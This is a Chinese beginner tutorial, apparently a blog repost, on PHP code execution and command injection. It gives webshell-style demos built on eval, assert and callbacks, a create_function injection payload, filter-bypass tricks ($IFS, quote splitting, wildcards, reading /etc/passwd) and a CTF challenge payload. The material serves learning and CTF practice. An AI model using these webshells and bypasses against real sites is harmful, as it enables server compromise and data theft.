• 命令执行和代码执行


    代码执行与命令注入
    0x01 代码执行
    1.eval
    2.assert
    3.call_user_func
    4.call_user_fuc_array
    5.create_function
    6.preg_replace
    7.array_map
    8.array_filter
    9.usort
    10.${}
    0x02 命令执行
    1.system
    2.exec
    3.passthru
    4.shell_exec
    5.反引号
    6.ob_start
    0x03 绕过
    1.常见分隔符
    2.绕过空格
    3.各类符号
    4.敏感字符绕过

    看到一位大佬写的一篇关于代码执行和命令注入的短文章,还挺实用,尤其是对于我们这些新手来说,所以拿来分享
    内容引自:链接地址

    0x01 代码执行
    代码执行概念:

    远程代码执行实际上就是调用服务器网站代码进行执行。

    执行方法:

    1.eval
    eval():将字符串当做函数进行执行(需要传入一个完整的语句),执行后会输出一个hello
    demo:

    2.assert
    assert():判断是否为字符串,是则当成代码执行
    低版本的demo:

    <?php assert($_POST['a']);?>
    

    1
    1
    php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
    7.0之后的demo:

    <?php
    $a = 'assert';
    $a(phpinfo());
    ?>
    

    1
    2
    3
    4
    1
    2
    3
    4
    3.call_user_func
    call_user_func():回调函数,可以使用is_callable查看是否可以进行调用

    demo:

    <?php
    highlight_file(__FILE__);
    $a = 'system';
    $b = 'pwd';
    call_user_func($a,$b);
    call_user_func('eval','phpinfo()');
    ?>
    

    1
    2
    3
    4
    5
    6
    7
    1
    2
    3
    4
    5
    6
    7
    其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval…

    4.call_user_fuc_array
    call_user_fuc_array():回调函数,参数为数组

    demo:

    <?php
    highlight_file(__FILE__);
    $array[0] = $_POST['a'];
    call_user_func_array("assert",$array); 
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    5.create_function
    create_function():创建匿名函数

    string create_function(string $args,string $code)

    args是要创建的函数的参数,code是函数内的代码

    demo:

    <?php
    highlight_file(__FILE__);
    $a = create_function('$code', 'echo $code');
    $b = 'hello';
    $a($b);
    

    $a = 'phpinfo();';
    $b = create_function(" ", $a);
    $b();
    ?>
    1
    2
    3
    4

    1
    2
    3
    4
    5
    6.preg_replace
    preg_replace():当为/e时代码会执行,前提是不超过php7

    demo:

    <?php
    highlight_file(__FILE__);
    $a = 'phpinfo()';
    $b = preg_replace("/abc/e", $a, 'abc');
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    7.array_map
    array_map():为数组的每个元素应用回调函数

    demo:

    <?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];
    $array[0] = $b;
    $c = array_map($a,$array);
    ?>
    

    1
    2
    3
    4
    5
    6
    7
    1
    2
    3
    4
    5
    6
    7
    用法:/?a=assert&b=phpinfo();

    8.array_filter
    array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含

    在返回的结果数组中。数组的键名保留不变。

    demo:

    <?php
    highlight_file(__FILE__);
    $array[0] = $_GET['a'];
    array_filter($array,'assert');
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    9.usort
    usort():使用自定义函数对数组进行排序

    demo:

    <?php
    highlight_file(__FILE__);
    usort(...$_GET);
    #usort($_GET[1],'assert');
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    …$GET是php5.6引入的新特性。即将数组展开成参数的形式
    用法:

    1[]=phpinfo()&1[]=123&2[]=assert
    

    1
    1
    大致过程:

    大概过程就是,GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数

    assert,其调用了第一个参数中的phpinfo();

    10.${}
    ${}:中间的php代码将会被解析

    demo:

    <?php
    highlight_file(__FILE__);
    ${phpinfo()};
    ?>
    

    1
    2
    3
    4
    1
    2
    3
    4
    代码执行例题
    题目:

    <?php
    highlight_file(__FILE__);
    $price = $_GET['price'];
    $code = 'echo $name.'.'的价格是'.$price.';';
    $b = create_function('$name', $code);
    $b('iphone');
    ?>
    

    1
    2
    3
    4
    5
    6
    7
    1
    2
    3
    4
    5
    6
    7
    代码逻辑很清楚,调用b这个匿名函数,参数为iphone。

    在整个过程中,我们能够控制的只有name的值,我们把这个函数b拆开来看就变成了下面这样:

    function b($name){
     echo $name.'.'的价格是'.$price;
    }
    

    1
    2
    3
    1
    2
    3
    所以最后构造payload为:123;}phpinfo();/*

    那么传入后代码就会变成下面这样:

    function b($name){
     echo $name.
         }phpinfo();/*'.'的价格是'.$price;
    }
    

    1
    2
    3
    4
    1
    2
    3
    4
    0x02 命令执行
    命令执行概念:

    通过易受攻击的应用在主机上执行任意命令。

    命令执行常见函数:

    1.system
    system:可以执行系统命令并将其输出

    demo:

    <?php
    highlight_file(__FILE__);
    system('pwd');
    system('whoami');
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    2.exec
    exec:执行命令,但无输出,可以使用output进行输出

    demo:

    <?php
    highlight_file(__FILE__);
    exec('pwd',$b);
    var_dump($b);
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    3.passthru
    passthru:执行命令并输出

    demo:

    <?php
    highlight_file(__FILE__);
    passthru('ls');
    ?>
    

    1
    2
    3
    4
    1
    2
    3
    4
    4.shell_exec
    shell_exec:执行命令,但无回显

    demo:

    <?php
    highlight_file(__FILE__);
    var_dump(shell_exec('ls'));
    ?>
    

    1
    2
    3
    4
    1
    2
    3
    4
    5.反引号
    反引号:执行shell命令,并返回输出的字符串

    demo:

    <?php
    highlight_file(__FILE__);
    $a = 'pwd';
    echo `$a`;
    ?>
    

    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    6.ob_start
    ob_start:打开输出控制缓冲

    demo:

    <?php
    highlight_file(__FILE__);
    ob_start("system");
    echo "whoami";
    ob_end_flush();
    ?>
    

    1
    2
    3
    4
    5
    6
    1
    2
    3
    4
    5
    6
    0x03 绕过
    1.常见分隔符
    • 换行符 %0a
    • 回车符 %0d
    • 连续指令 ;
    • 后台进程 &
    • 管道符 |
    • 逻辑 || &&
    1
    2
    3
    4
    5
    6
    1
    2
    3
    4
    5
    6
    2.绕过空格
    • $IFS
    • <
    • ${IFS}
    • $IFS$9
    • %09
    1
    2
    3
    4
    5
    1
    2
    3
    4
    5
    3.各类符号
    即使用”substr string pos len“的方法进行取字符

    demo:

    echo "${PATH:0:1}"
    echo "`expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1`"
    echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
    expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
    •	%0a
    •	%0d
    •	%00
    •	%20
    

    1
    2
    3
    4
    5
    6
    7
    8
    1
    2
    3
    4
    5
    6
    7
    8
    4.敏感字符绕过
    变量绕过

    a=l,b=s;$a$b
    

    1
    1
    base64编码绕过

    echo 'cat' | base64
    

    1
    1
    未定义的初始化变量

    cat$b /etc/passwd
    

    1
    1
    连接符

    cat /etc/pass’w’d
    

    1
    1
    使用通配符:

    如:

    /???/?s --help
    1
    1
    题目地址:http://moectf.cn:10012/

    payload:/?cmd=eval($_GET[%27a%27]);&a=system(ls);

  • 相关阅读:
    正确使用c语言中的头文件
    用Python玩转大数据-入门阶段
    Python基础知识进阶(五---2)----程序基本结构、简单分支、异常处理、三大实例分析、基本循环结构、通用循环构造方法、死循环嵌套循环、布尔表达式
    Python基础知识进阶(五---1)----程序基本结构、简单分支、异常处理、三大实例分析、基本循环结构、通用循环构造方法、死循环嵌套循环、布尔表达式
    Python小程序练习(7个) 2017年9月28日---告诉自己多东西练习,而不是去空想
    python基础知识进阶(四) Python语言的math库和random库和实例
    python基础知识进阶(二) Python语言的数据类型
    python基础知识进阶之路(一)
    今天2017.5.23 开始一个web端网上商城项目的开发
    Lambda表达式(转载)
  • 原文地址:https://www.cnblogs.com/hualibokeyuan/p/11861894.html
Copyright © 2020-2023  润新知